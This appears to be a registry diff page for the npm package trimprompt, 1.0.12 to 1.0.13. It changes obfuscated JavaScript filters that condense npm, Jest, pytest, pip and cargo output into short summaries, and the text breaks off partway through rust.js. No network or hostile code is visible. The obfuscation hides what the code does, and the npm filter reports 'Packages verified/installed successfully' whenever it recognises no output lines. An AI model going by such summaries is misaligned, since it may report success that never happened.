trimprompt 1.0.12 → 1.0.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x8eb7b5=a0_0x252e;(function(_0x6d2344,_0x21d35a){const _0x5b47e9=a0_0x252e,_0x472cec=_0x6d2344();while(!![]){try{const _0x4dbe70=-parseInt(_0x5b47e9(0x185))/0x1*(parseInt(_0x5b47e9(0x186))/0x2)+parseInt(_0x5b47e9(0x189))/0x3+parseInt(_0x5b47e9(0x16c))/0x4+-parseInt(_0x5b47e9(0x16f))/0x5+parseInt(_0x5b47e9(0x17c))/0x6+-parseInt(_0x5b47e9(0x187))/0x7*(-parseInt(_0x5b47e9(0x16a))/0x8)+-parseInt(_0x5b47e9(0x171))/0x9*(-parseInt(_0x5b47e9(0x17b))/0xa);if(_0x4dbe70===_0x21d35a)break;else _0x472cec['push'](_0x472cec['shift']());}catch(_0x57ae6e){_0x472cec['push'](_0x472cec['shift']());}}}(a0_0x523b,0x63f64));Object[a0_0x8eb7b5(0x181)](exports,'__esModule',{'value':!![]}),exports[a0_0x8eb7b5(0x179)]=filterNpmInstall,exports[a0_0x8eb7b5(0x184)]=filterJestVitest;function a0_0x523b(){const _0x2c0437=['length','split','\x20passed','filterNpmInstall','replace','648870kgaAhY','2746764SNbKIk','Test\x20Suites:','FAIL','Test\x20Runner:\x20','startsWith','defineProperty','includes','NPM:\x20Packages\x20verified/installed\x20successfully','filterJestVitest','813861jbKQyl','2wQMNiT','7PrYHAw','push','938406sOYGGq','join','Tests:','trim','added\x20','match','\x20\x20...\x20(','1503928zxfJBf','\x20passed,\x20','905788kvhrBb','found\x20','\x20failed\x20(','457515awxAHg','PASS','18IUzUEE','Test\x20Files:','up\x20to\x20date','\x0aFailures:','\x20lines\x20of\x20trace\x20details\x20truncated)'];a0_0x523b=function(){return _0x2c0437;};return a0_0x523b();}function filterNpmInstall(_0xac60bd){const _0x2eca9e=a0_0x8eb7b5,_0xe60330=_0xac60bd[_0x2eca9e(0x17a)](/\r/g,'\x0a'),_0x549def=_0xe60330['split']('\x0a'),_0x4c5f2e=[];for(const _0x3ffcd6 of _0x549def){const _0x129a4b=_0x3ffcd6[_0x2eca9e(0x18c)]();(_0x129a4b[_0x2eca9e(0x182)](_0x2eca9e(0x18d))||_0x129a4b[_0x2eca9e(0x182)]('removed\x20')||_0x129a4b[_0x2eca9e(0x182)]('audited\x20')||_0x129a4b[_0x2eca9e(0x182)](_0x2eca9e(0x173))||_0x129a4b[_0x2eca9e(0x182)](_0x2eca9e(0x16d)))&&(!_0x129a4b[_0x2eca9e(0x182)]('%')&&!_0x129a4b[_0x2eca9e(0x180)]('⠋')&&!_0x129a4b[_0x2eca9e(0x180)]('⠙')&&_0x4c5f2e[_0x2eca9e(0x188)](_0x129a4b));}const _0x252249=_0x4c5f2e[_0x2eca9e(0x18a)]('\x0a')[_0x2eca9e(0x18c)]();return _0x252249[_0x2eca9e(0x176)]>0x0?_0x252249:_0x2eca9e(0x183);}function a0_0x252e(_0x242d28,_0x2c83db){_0x242d28=_0x242d28-0x168;const _0x523b1d=a0_0x523b();let _0x252e5b=_0x523b1d[_0x242d28];return _0x252e5b;}function filterJestVitest(_0x514183){const _0x4d72e6=a0_0x8eb7b5,_0x1ba42c=_0x514183[_0x4d72e6(0x177)]('\x0a');let _0x42bfdc=0x0,_0x3339d7=0x0,_0x1c75ce=0x0;const _0x312ff5=[];let _0x239fea=![];for(const _0x3c1a8a of _0x1ba42c){const _0x3f1a0e=_0x3c1a8a[_0x4d72e6(0x18c)]();if(_0x3f1a0e[_0x4d72e6(0x180)](_0x4d72e6(0x18b))||_0x3f1a0e[_0x4d72e6(0x182)](_0x4d72e6(0x172))){const _0x3a297d=_0x3f1a0e[_0x4d72e6(0x168)](/(\d+)\s+passed/),_0x56b11c=_0x3f1a0e[_0x4d72e6(0x168)](/(\d+)\s+failed/),_0x3fd63c=_0x3f1a0e[_0x4d72e6(0x168)](/(\d+)\s+total/);if(_0x3a297d)_0x42bfdc=parseInt(_0x3a297d[0x1]);if(_0x56b11c)_0x3339d7=parseInt(_0x56b11c[0x1]);if(_0x3fd63c)_0x1c75ce=parseInt(_0x3fd63c[0x1]);continue;}(_0x3f1a0e['startsWith']('❯')||_0x3f1a0e['startsWith']('●')||_0x3f1a0e[_0x4d72e6(0x180)]('FAIL\x20\x20'))&&(_0x239fea=!![]),_0x239fea&&(_0x3f1a0e[_0x4d72e6(0x176)]>0x0&&!_0x3f1a0e[_0x4d72e6(0x180)](_0x4d72e6(0x17d))&&!_0x3f1a0e[_0x4d72e6(0x180)](_0x4d72e6(0x18b))&&_0x312ff5[_0x4d72e6(0x188)](_0x3c1a8a));}if(_0x1c75ce===0x0&&_0x42bfdc===0x0&&_0x3339d7===0x0){if(_0x514183['includes'](_0x4d72e6(0x170))&&!_0x514183[_0x4d72e6(0x182)](_0x4d72e6(0x17e))){const _0x457120=_0x514183[_0x4d72e6(0x168)](/(\d+)\s+passed/),_0x4165b4=_0x457120?_0x457120[0x1]:'all';return _0x4d72e6(0x17f)+_0x4165b4+'\x20passed';}return _0x514183;}if(_0x3339d7===0x0&&_0x42bfdc>0x0)return'Test\x20Runner:\x20'+_0x42bfdc+_0x4d72e6(0x178);const _0x31f197=[_0x4d72e6(0x17f)+_0x42bfdc+_0x4d72e6(0x16b)+_0x3339d7+_0x4d72e6(0x16e)+_0x1c75ce+'\x20total)'];if(_0x312ff5[_0x4d72e6(0x176)]>0x0){_0x31f197[_0x4d72e6(0x188)](_0x4d72e6(0x174));const _0x1698c8=0x19,_0x42044e=_0x312ff5['slice'](0x0,_0x1698c8);for(const _0x33cb44 of _0x42044e){_0x31f197[_0x4d72e6(0x188)]('\x20\x20'+_0x33cb44);}_0x312ff5[_0x4d72e6(0x176)]>_0x1698c8&&_0x31f197[_0x4d72e6(0x188)](_0x4d72e6(0x169)+(_0x312ff5[_0x4d72e6(0x176)]-_0x1698c8)+_0x4d72e6(0x175));}return _0x31f197[_0x4d72e6(0x18a)]('\x0a');}
1
+ 'use strict';const a0_0x55409e=a0_0x6f80;(function(_0x24ba41,_0x5b3a60){const _0x29df75=a0_0x6f80,_0x1f8908=_0x24ba41();while(!![]){try{const _0x5c47a8=parseInt(_0x29df75(0xc2))/0x1+-parseInt(_0x29df75(0xbf))/0x2*(parseInt(_0x29df75(0xb5))/0x3)+parseInt(_0x29df75(0xc9))/0x4+-parseInt(_0x29df75(0xb9))/0x5+parseInt(_0x29df75(0xcc))/0x6+parseInt(_0x29df75(0xca))/0x7*(-parseInt(_0x29df75(0xd8))/0x8)+parseInt(_0x29df75(0xcb))/0x9*(parseInt(_0x29df75(0xb8))/0xa);if(_0x5c47a8===_0x5b3a60)break;else _0x1f8908['push'](_0x1f8908['shift']());}catch(_0x403ed4){_0x1f8908['push'](_0x1f8908['shift']());}}}(a0_0x4dae,0x1c626));Object[a0_0x55409e(0xc7)](exports,a0_0x55409e(0xce),{'value':!![]}),exports[a0_0x55409e(0xc4)]=filterNpmInstall,exports['filterJestVitest']=filterJestVitest;function filterNpmInstall(_0x2d0297){const _0x48ad8b=a0_0x55409e,_0x73fde9=_0x2d0297[_0x48ad8b(0xba)](/\r/g,'\x0a'),_0x25780c=_0x73fde9[_0x48ad8b(0xb4)]('\x0a'),_0x2d7ad5=[];for(const _0x1cd424 of _0x25780c){const _0x39d785=_0x1cd424[_0x48ad8b(0xd2)]();(_0x39d785[_0x48ad8b(0xc3)]('added\x20')||_0x39d785[_0x48ad8b(0xc3)](_0x48ad8b(0xc6))||_0x39d785[_0x48ad8b(0xc3)](_0x48ad8b(0xd5))||_0x39d785[_0x48ad8b(0xc3)](_0x48ad8b(0xbb))||_0x39d785[_0x48ad8b(0xc3)](_0x48ad8b(0xbc)))&&(!_0x39d785[_0x48ad8b(0xc3)]('%')&&!_0x39d785[_0x48ad8b(0xd4)]('⠋')&&!_0x39d785[_0x48ad8b(0xd4)]('⠙')&&_0x2d7ad5[_0x48ad8b(0xcf)](_0x39d785));}const _0xeadd0c=_0x2d7ad5['join']('\x0a')[_0x48ad8b(0xd2)]();return _0xeadd0c['length']>0x0?_0xeadd0c:_0x48ad8b(0xbe);}function a0_0x6f80(_0x147810,_0x43c79d){_0x147810=_0x147810-0xb4;const _0x4daebb=a0_0x4dae();let _0x6f8018=_0x4daebb[_0x147810];return _0x6f8018;}function a0_0x4dae(){const _0x46fc70=['match','Tests:','264KFGaxg','split','43572BlUjXT','\x20passed,\x20','\x20total)','273810wDlTSn','94160SfxacD','replace','up\x20to\x20date','found\x20','length','NPM:\x20Packages\x20verified/installed\x20successfully','6qMGVFU','FAIL','join','139415jCFQOu','includes','filterNpmInstall','Test\x20Runner:\x20','removed\x20','defineProperty','slice','571348DxpYgi','43918dTvjpO','9cwMVLf','456450LAoDgx','PASS','__esModule','push','\x20failed\x20(','\x20passed','trim','\x20lines\x20of\x20trace\x20details\x20truncated)','startsWith','audited\x20'];a0_0x4dae=function(){return _0x46fc70;};return a0_0x4dae();}function filterJestVitest(_0x56cfbc){const _0x21543d=a0_0x55409e,_0x1d2a0d=_0x56cfbc[_0x21543d(0xb4)]('\x0a');let _0x16605c=0x0,_0x12bd7d=0x0,_0x542f6c=0x0;const _0x195bee=[];let _0xcc0da4=![];for(const _0x28ae9b of _0x1d2a0d){const _0x109e88=_0x28ae9b[_0x21543d(0xd2)]();if(_0x109e88[_0x21543d(0xd4)]('Tests:')||_0x109e88[_0x21543d(0xc3)]('Test\x20Files:')){const _0x2b1282=_0x109e88[_0x21543d(0xd6)](/(\d+)\s+passed/),_0x317dcd=_0x109e88['match'](/(\d+)\s+failed/),_0x25c7d6=_0x109e88[_0x21543d(0xd6)](/(\d+)\s+total/);if(_0x2b1282)_0x16605c=parseInt(_0x2b1282[0x1]);if(_0x317dcd)_0x12bd7d=parseInt(_0x317dcd[0x1]);if(_0x25c7d6)_0x542f6c=parseInt(_0x25c7d6[0x1]);continue;}(_0x109e88['startsWith']('❯')||_0x109e88[_0x21543d(0xd4)]('●')||_0x109e88['startsWith']('FAIL\x20\x20'))&&(_0xcc0da4=!![]),_0xcc0da4&&(_0x109e88[_0x21543d(0xbd)]>0x0&&!_0x109e88[_0x21543d(0xd4)]('Test\x20Suites:')&&!_0x109e88[_0x21543d(0xd4)](_0x21543d(0xd7))&&_0x195bee[_0x21543d(0xcf)](_0x28ae9b));}if(_0x542f6c===0x0&&_0x16605c===0x0&&_0x12bd7d===0x0){if(_0x56cfbc['includes'](_0x21543d(0xcd))&&!_0x56cfbc[_0x21543d(0xc3)](_0x21543d(0xc0))){const _0x175d14=_0x56cfbc[_0x21543d(0xd6)](/(\d+)\s+passed/),_0x317a4a=_0x175d14?_0x175d14[0x1]:'all';return _0x21543d(0xc5)+_0x317a4a+_0x21543d(0xd1);}return _0x56cfbc;}if(_0x12bd7d===0x0&&_0x16605c>0x0)return _0x21543d(0xc5)+_0x16605c+'\x20passed';const _0x2ea262=[_0x21543d(0xc5)+_0x16605c+_0x21543d(0xb6)+_0x12bd7d+_0x21543d(0xd0)+_0x542f6c+_0x21543d(0xb7)];if(_0x195bee[_0x21543d(0xbd)]>0x0){_0x2ea262['push']('\x0aFailures:');const _0x20e593=0x19,_0x3cf677=_0x195bee[_0x21543d(0xc8)](0x0,_0x20e593);for(const _0x3684db of _0x3cf677){_0x2ea262[_0x21543d(0xcf)]('\x20\x20'+_0x3684db);}_0x195bee[_0x21543d(0xbd)]>_0x20e593&&_0x2ea262['push']('\x20\x20...\x20('+(_0x195bee[_0x21543d(0xbd)]-_0x20e593)+_0x21543d(0xd3));}return _0x2ea262[_0x21543d(0xc1)]('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0xd11546=a0_0x5175;function a0_0x4af2(){const _0x20e967=['1630PEdbOY','===\x20FAILURES\x20===','startsWith','match','8jBetjE','___','E\x20\x20\x20','\x20\x20...\x20+','passed','filterPytest','failed','Collecting','split','.\x20[FAIL]\x20','\x20in\x20','filterPipInstall','defineProperty','replace','\x20failed','\x20passed','\x20xpassed\x20(warning!)','===\x20short\x20test\x20summary\x20info\x20===','\x20\x20\x20\x20','slice','\x20skipped','706530YFOQZX','Using\x20cached','===\x20ERRORS\x20===','1283933CtzgDh','.py:','106230pCQmuV','join','118140kBOgkM','55113uqKiTk','filter','includes','7602642selHIv','push','AssertionError:','trim','\x20xfailed','292HwLhiG','\x0aFailures:','Pytest:\x20','length','\x20\x20\x20\x20...\x20('];a0_0x4af2=function(){return _0x20e967;};return a0_0x4af2();}(function(_0xe0dfa2,_0x267c68){const _0x427bea=a0_0x5175,_0x283aae=_0xe0dfa2();while(!![]){try{const _0x43a156=-parseInt(_0x427bea(0x203))/0x1+-parseInt(_0x427bea(0x1fe))/0x2+-parseInt(_0x427bea(0x206))/0x3+parseInt(_0x427bea(0x1e0))/0x4*(-parseInt(_0x427bea(0x1e5))/0x5)+parseInt(_0x427bea(0x205))/0x6+-parseInt(_0x427bea(0x201))/0x7*(parseInt(_0x427bea(0x1e9))/0x8)+parseInt(_0x427bea(0x1db))/0x9;if(_0x43a156===_0x267c68)break;else _0x283aae['push'](_0x283aae['shift']());}catch(_0x795818){_0x283aae['push'](_0x283aae['shift']());}}}(a0_0x4af2,0x2bc91));Object[a0_0xd11546(0x1f5)](exports,'__esModule',{'value':!![]}),exports[a0_0xd11546(0x1ee)]=filterPytest,exports[a0_0xd11546(0x1f4)]=filterPipInstall;function filterPytest(_0x48987e){const _0x3454cd=a0_0xd11546,_0x30a3e2=_0x48987e['split']('\x0a');let _0x11b83b=0x0,_0x3e4f56=0x0,_0xaaa19c=0x0,_0x27cc87=0x0,_0x2180a4=0x0;const _0x8120fa=[];let _0x423498=[],_0x4969b9=![];for(const _0x578087 of _0x30a3e2){const _0x483958=_0x578087[_0x3454cd(0x1de)]();if(_0x483958[_0x3454cd(0x1e7)](_0x3454cd(0x1e6))||_0x483958[_0x3454cd(0x1e7)](_0x3454cd(0x200))){_0x4969b9=!![];continue;}else(_0x483958[_0x3454cd(0x1e7)](_0x3454cd(0x1fa))||_0x483958[_0x3454cd(0x1e7)]('===')&&_0x483958[_0x3454cd(0x1da)](_0x3454cd(0x1ed)))&&(_0x4969b9=![],_0x423498['length']>0x0&&(_0x8120fa['push'](_0x423498),_0x423498=[]));if(_0x4969b9){if(_0x483958['startsWith'](_0x3454cd(0x1ea)))_0x423498[_0x3454cd(0x1e3)]>0x0&&(_0x8120fa[_0x3454cd(0x1dc)](_0x423498),_0x423498=[]),_0x423498[_0x3454cd(0x1dc)](_0x483958);else _0x483958[_0x3454cd(0x1e3)]>0x0&&_0x423498['push'](_0x578087);continue;}if(_0x483958[_0x3454cd(0x1e7)]('===')&&_0x483958[_0x3454cd(0x1da)](_0x3454cd(0x1f3))){const _0x2ee631=_0x483958[_0x3454cd(0x1e8)](/(\d+)\s+passed/),_0x24db37=_0x483958[_0x3454cd(0x1e8)](/(\d+)\s+failed/),_0x53ad7d=_0x483958[_0x3454cd(0x1e8)](/(\d+)\s+skipped/),_0x3b5592=_0x483958['match'](/(\d+)\s+xfailed/),_0x5d97f9=_0x483958['match'](/(\d+)\s+xpassed/);if(_0x2ee631)_0x11b83b=parseInt(_0x2ee631[0x1]);if(_0x24db37)_0x3e4f56=parseInt(_0x24db37[0x1]);if(_0x53ad7d)_0xaaa19c=parseInt(_0x53ad7d[0x1]);if(_0x3b5592)_0x27cc87=parseInt(_0x3b5592[0x1]);if(_0x5d97f9)_0x2180a4=parseInt(_0x5d97f9[0x1]);}}_0x423498['length']>0x0&&_0x8120fa[_0x3454cd(0x1dc)](_0x423498);if(_0x11b83b===0x0&&_0x3e4f56===0x0&&_0xaaa19c===0x0&&_0x27cc87===0x0&&_0x2180a4===0x0){if(_0x48987e[_0x3454cd(0x1da)](_0x3454cd(0x1ed))&&!_0x48987e['includes'](_0x3454cd(0x1ef)))return'Pytest:\x20All\x20tests\x20passed';return _0x48987e;}if(_0x3e4f56===0x0&&_0x11b83b>0x0&&_0xaaa19c===0x0&&_0x27cc87===0x0&&_0x2180a4===0x0)return _0x3454cd(0x1e2)+_0x11b83b+_0x3454cd(0x1f8);const _0x25f7b7=[];_0x25f7b7[_0x3454cd(0x1dc)](_0x3454cd(0x1e2)+_0x11b83b+_0x3454cd(0x1f8));if(_0x3e4f56>0x0)_0x25f7b7['push'](_0x3e4f56+_0x3454cd(0x1f7));if(_0xaaa19c>0x0)_0x25f7b7[_0x3454cd(0x1dc)](_0xaaa19c+_0x3454cd(0x1fd));if(_0x27cc87>0x0)_0x25f7b7['push'](_0x27cc87+_0x3454cd(0x1df));if(_0x2180a4>0x0)_0x25f7b7[_0x3454cd(0x1dc)](_0x2180a4+_0x3454cd(0x1f9));const _0x334791=[_0x25f7b7['join'](',\x20')];if(_0x8120fa[_0x3454cd(0x1e3)]>0x0){_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1e1));const _0xbd7d2c=0x3,_0xb840fd=_0x8120fa['slice'](0x0,_0xbd7d2c);for(let _0x59e502=0x0;_0x59e502<_0xb840fd[_0x3454cd(0x1e3)];_0x59e502++){const _0x3cf9fc=_0xb840fd[_0x59e502],_0x1f5525=_0x3cf9fc[0x0][_0x3454cd(0x1f6)](/_/g,'')['trim']();_0x334791[_0x3454cd(0x1dc)]('\x20\x20'+(_0x59e502+0x1)+_0x3454cd(0x1f2)+_0x1f5525);const _0x2ab531=_0x3cf9fc[_0x3454cd(0x1fc)](0x1),_0xaee9c8=_0x2ab531[_0x3454cd(0x207)](_0x483d5f=>{const _0x980ed5=_0x3454cd,_0x5e3c22=_0x483d5f[_0x980ed5(0x1de)]();return _0x5e3c22[_0x980ed5(0x1e7)]('>')||_0x5e3c22[_0x980ed5(0x1e7)](_0x980ed5(0x1eb))||_0x5e3c22['includes'](_0x980ed5(0x202))||_0x5e3c22[_0x980ed5(0x1da)](_0x980ed5(0x1dd));});for(const _0xe11c63 of _0xaee9c8[_0x3454cd(0x1fc)](0x0,0x8)){_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1fb)+_0xe11c63);}_0xaee9c8[_0x3454cd(0x1e3)]>0x8&&_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1e4)+(_0xaee9c8[_0x3454cd(0x1e3)]-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x8120fa['length']>_0xbd7d2c&&_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1ec)+(_0x8120fa[_0x3454cd(0x1e3)]-_0xbd7d2c)+'\x20more\x20failures\x20truncated');}return _0x334791[_0x3454cd(0x204)]('\x0a');}function a0_0x5175(_0x3d17da,_0x4fe67c){_0x3d17da=_0x3d17da-0x1da;const _0x4af2a5=a0_0x4af2();let _0x517546=_0x4af2a5[_0x3d17da];return _0x517546;}function filterPipInstall(_0x3d7a0a){const _0x3cd830=a0_0xd11546,_0x9ec570=_0x3d7a0a[_0x3cd830(0x1f1)]('\x0a'),_0x37958a=[];for(const _0xbbf12a of _0x9ec570){const _0x25ff16=_0xbbf12a[_0x3cd830(0x1de)]();_0x25ff16[_0x3cd830(0x1e7)]('Successfully\x20installed')&&_0x37958a[_0x3cd830(0x1dc)](_0x25ff16);}if(_0x37958a[_0x3cd830(0x1e3)]>0x0)return _0x37958a['join']('\x0a');return _0x9ec570[_0x3cd830(0x207)](_0x4e6890=>{const _0x3577c4=_0x3cd830,_0x7151ed=_0x4e6890[_0x3577c4(0x1de)]();return!_0x7151ed['startsWith'](_0x3577c4(0x1f0))&&!_0x7151ed[_0x3577c4(0x1e7)]('Downloading')&&!_0x7151ed[_0x3577c4(0x1da)](_0x3577c4(0x1ff))&&!_0x7151ed[_0x3577c4(0x1e7)]('Requirement\x20already\x20satisfied');})[_0x3cd830(0x204)]('\x0a')['trim']();}
1
+ 'use strict';const a0_0x516b48=a0_0x3c1a;function a0_0x3c1a(_0x45ca08,_0x30b80d){_0x45ca08=_0x45ca08-0x156;const _0x1f6041=a0_0x1f60();let _0x3c1ad=_0x1f6041[_0x45ca08];return _0x3c1ad;}(function(_0xeb0bac,_0x1b0cb4){const _0x461133=a0_0x3c1a,_0x516cdd=_0xeb0bac();while(!![]){try{const _0x5926fc=-parseInt(_0x461133(0x15c))/0x1*(parseInt(_0x461133(0x177))/0x2)+parseInt(_0x461133(0x173))/0x3*(-parseInt(_0x461133(0x181))/0x4)+-parseInt(_0x461133(0x185))/0x5*(parseInt(_0x461133(0x17a))/0x6)+-parseInt(_0x461133(0x16c))/0x7+-parseInt(_0x461133(0x164))/0x8+parseInt(_0x461133(0x161))/0x9*(-parseInt(_0x461133(0x158))/0xa)+parseInt(_0x461133(0x156))/0xb*(parseInt(_0x461133(0x16a))/0xc);if(_0x5926fc===_0x1b0cb4)break;else _0x516cdd['push'](_0x516cdd['shift']());}catch(_0x22e3d2){_0x516cdd['push'](_0x516cdd['shift']());}}}(a0_0x1f60,0x55cec));Object[a0_0x516b48(0x157)](exports,a0_0x516b48(0x16b),{'value':!![]}),exports[a0_0x516b48(0x186)]=filterPytest,exports[a0_0x516b48(0x17c)]=filterPipInstall;function filterPytest(_0x1e673a){const _0x41aae3=a0_0x516b48,_0x3b56ea=_0x1e673a[_0x41aae3(0x17e)]('\x0a');let _0x5cef66=0x0,_0x313cb8=0x0,_0x336921=0x0,_0xaca4ca=0x0,_0x433d84=0x0;const _0x102b3a=[];let _0x49117f=[],_0x664edd=![];for(const _0x3646bc of _0x3b56ea){const _0x3ff879=_0x3646bc[_0x41aae3(0x16d)]();if(_0x3ff879[_0x41aae3(0x169)](_0x41aae3(0x16f))||_0x3ff879[_0x41aae3(0x169)](_0x41aae3(0x176))){_0x664edd=!![];continue;}else(_0x3ff879['startsWith'](_0x41aae3(0x15f))||_0x3ff879[_0x41aae3(0x169)]('===')&&_0x3ff879[_0x41aae3(0x165)]('passed'))&&(_0x664edd=![],_0x49117f[_0x41aae3(0x17f)]>0x0&&(_0x102b3a['push'](_0x49117f),_0x49117f=[]));if(_0x664edd){if(_0x3ff879[_0x41aae3(0x169)](_0x41aae3(0x184)))_0x49117f[_0x41aae3(0x17f)]>0x0&&(_0x102b3a['push'](_0x49117f),_0x49117f=[]),_0x49117f[_0x41aae3(0x180)](_0x3ff879);else _0x3ff879[_0x41aae3(0x17f)]>0x0&&_0x49117f['push'](_0x3646bc);continue;}if(_0x3ff879[_0x41aae3(0x169)](_0x41aae3(0x16e))&&_0x3ff879[_0x41aae3(0x165)](_0x41aae3(0x179))){const _0x21ac78=_0x3ff879[_0x41aae3(0x15a)](/(\d+)\s+passed/),_0x149c70=_0x3ff879['match'](/(\d+)\s+failed/),_0x5f3545=_0x3ff879['match'](/(\d+)\s+skipped/),_0x402674=_0x3ff879['match'](/(\d+)\s+xfailed/),_0xeddefe=_0x3ff879[_0x41aae3(0x15a)](/(\d+)\s+xpassed/);if(_0x21ac78)_0x5cef66=parseInt(_0x21ac78[0x1]);if(_0x149c70)_0x313cb8=parseInt(_0x149c70[0x1]);if(_0x5f3545)_0x336921=parseInt(_0x5f3545[0x1]);if(_0x402674)_0xaca4ca=parseInt(_0x402674[0x1]);if(_0xeddefe)_0x433d84=parseInt(_0xeddefe[0x1]);}}_0x49117f[_0x41aae3(0x17f)]>0x0&&_0x102b3a[_0x41aae3(0x180)](_0x49117f);if(_0x5cef66===0x0&&_0x313cb8===0x0&&_0x336921===0x0&&_0xaca4ca===0x0&&_0x433d84===0x0){if(_0x1e673a[_0x41aae3(0x165)](_0x41aae3(0x15e))&&!_0x1e673a[_0x41aae3(0x165)](_0x41aae3(0x168)))return _0x41aae3(0x162);return _0x1e673a;}if(_0x313cb8===0x0&&_0x5cef66>0x0&&_0x336921===0x0&&_0xaca4ca===0x0&&_0x433d84===0x0)return _0x41aae3(0x172)+_0x5cef66+_0x41aae3(0x171);const _0x254905=[];_0x254905[_0x41aae3(0x180)](_0x41aae3(0x172)+_0x5cef66+_0x41aae3(0x171));if(_0x313cb8>0x0)_0x254905[_0x41aae3(0x180)](_0x313cb8+_0x41aae3(0x170));if(_0x336921>0x0)_0x254905[_0x41aae3(0x180)](_0x336921+_0x41aae3(0x17d));if(_0xaca4ca>0x0)_0x254905[_0x41aae3(0x180)](_0xaca4ca+_0x41aae3(0x160));if(_0x433d84>0x0)_0x254905[_0x41aae3(0x180)](_0x433d84+_0x41aae3(0x174));const _0x10a8b2=[_0x254905[_0x41aae3(0x183)](',\x20')];if(_0x102b3a[_0x41aae3(0x17f)]>0x0){_0x10a8b2['push'](_0x41aae3(0x182));const _0x32c116=0x3,_0x15cf47=_0x102b3a[_0x41aae3(0x178)](0x0,_0x32c116);for(let _0x95c749=0x0;_0x95c749<_0x15cf47['length'];_0x95c749++){const _0x49058a=_0x15cf47[_0x95c749],_0x4ee520=_0x49058a[0x0][_0x41aae3(0x187)](/_/g,'')[_0x41aae3(0x16d)]();_0x10a8b2[_0x41aae3(0x180)]('\x20\x20'+(_0x95c749+0x1)+'.\x20[FAIL]\x20'+_0x4ee520);const _0x50d09c=_0x49058a[_0x41aae3(0x178)](0x1),_0x3902af=_0x50d09c['filter'](_0x5562f5=>{const _0x5abf5e=_0x41aae3,_0x6dff5e=_0x5562f5[_0x5abf5e(0x16d)]();return _0x6dff5e['startsWith']('>')||_0x6dff5e[_0x5abf5e(0x169)](_0x5abf5e(0x167))||_0x6dff5e[_0x5abf5e(0x165)](_0x5abf5e(0x175))||_0x6dff5e['includes']('AssertionError:');});for(const _0x58b272 of _0x3902af[_0x41aae3(0x178)](0x0,0x8)){_0x10a8b2[_0x41aae3(0x180)](_0x41aae3(0x166)+_0x58b272);}_0x3902af['length']>0x8&&_0x10a8b2[_0x41aae3(0x180)]('\x20\x20\x20\x20...\x20('+(_0x3902af[_0x41aae3(0x17f)]-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x102b3a[_0x41aae3(0x17f)]>_0x32c116&&_0x10a8b2['push'](_0x41aae3(0x163)+(_0x102b3a[_0x41aae3(0x17f)]-_0x32c116)+'\x20more\x20failures\x20truncated');}return _0x10a8b2[_0x41aae3(0x183)]('\x0a');}function a0_0x1f60(){const _0x12ae23=['filterPytest','replace','48598iVBujd','defineProperty','1023650WoysKb','Requirement\x20already\x20satisfied','match','filter','1259jieQlY','Using\x20cached','passed','===\x20short\x20test\x20summary\x20info\x20===','\x20xfailed','18hEbZpl','Pytest:\x20All\x20tests\x20passed','\x20\x20...\x20+','4453776xHmfrH','includes','\x20\x20\x20\x20','E\x20\x20\x20','failed','startsWith','7716ucphAH','__esModule','3529085ByaOtZ','trim','===','===\x20FAILURES\x20===','\x20failed','\x20passed','Pytest:\x20','650259JwESTg','\x20xpassed\x20(warning!)','.py:','===\x20ERRORS\x20===','422GnTMwf','slice','\x20in\x20','594jUJoPM','Successfully\x20installed','filterPipInstall','\x20skipped','split','length','push','12eceZBh','\x0aFailures:','join','___','15545WMfPAf'];a0_0x1f60=function(){return _0x12ae23;};return a0_0x1f60();}function filterPipInstall(_0x534d62){const _0x1e34e1=a0_0x516b48,_0x5aae71=_0x534d62[_0x1e34e1(0x17e)]('\x0a'),_0x5ef877=[];for(const _0x25fa0e of _0x5aae71){const _0x25e895=_0x25fa0e[_0x1e34e1(0x16d)]();_0x25e895[_0x1e34e1(0x169)](_0x1e34e1(0x17b))&&_0x5ef877['push'](_0x25e895);}if(_0x5ef877['length']>0x0)return _0x5ef877[_0x1e34e1(0x183)]('\x0a');return _0x5aae71[_0x1e34e1(0x15b)](_0x5d117a=>{const _0xbd35c8=_0x1e34e1,_0x1e0ef8=_0x5d117a['trim']();return!_0x1e0ef8['startsWith']('Collecting')&&!_0x1e0ef8[_0xbd35c8(0x169)]('Downloading')&&!_0x1e0ef8[_0xbd35c8(0x165)](_0xbd35c8(0x15d))&&!_0x1e0ef8[_0xbd35c8(0x169)](_0xbd35c8(0x159));})[_0x1e34e1(0x183)]('\x0a')[_0x1e34e1(0x16d)]();}
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x2922(){const _0x39012d=['\x20----','Cargo:\x20','__esModule','Cargo:\x20compiled\x20','thread','min','8tCdaPi','2784hCZKih','split','join','defineProperty','588168VzRiAs','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','length','\x0aFailures:','6AWbXWD','Compiling\x20','\x20warnings','filterCargoTest','failures:','startsWith','26rYolSE','17182yDIZOI','slice','\x0aWarnings:','warning[','10121922OUGsEW','\x20failed,\x20','panicked','218751JtMyBj','536YXASRo','572684woxQXf','\x20more\x20errors','\x20\x20\x20\x20','\x20crates\x20successfully','\x20more\x20failures','endsWith','60AJFfim','includes','test\x20result:','Cargo\x20test:\x20all\x20tests\x20passed','8040lJfhgj','right:','\x20crates,\x20','\x20errors,\x20','----\x20failures\x20----','\x0aErrors:','\x20\x20...\x20+','\x20passed','\x20ignored','----\x20','\x20passed,\x20','trim','replace','9461179zBDpgp','push','warning:','Cargo\x20test:\x20'];a0_0x2922=function(){return _0x39012d;};return a0_0x2922();}const a0_0x5a6e18=a0_0x318b;(function(_0x2ff3ff,_0x1b041e){const _0x49e45d=a0_0x318b,_0xb6bb96=_0x2ff3ff();while(!![]){try{const 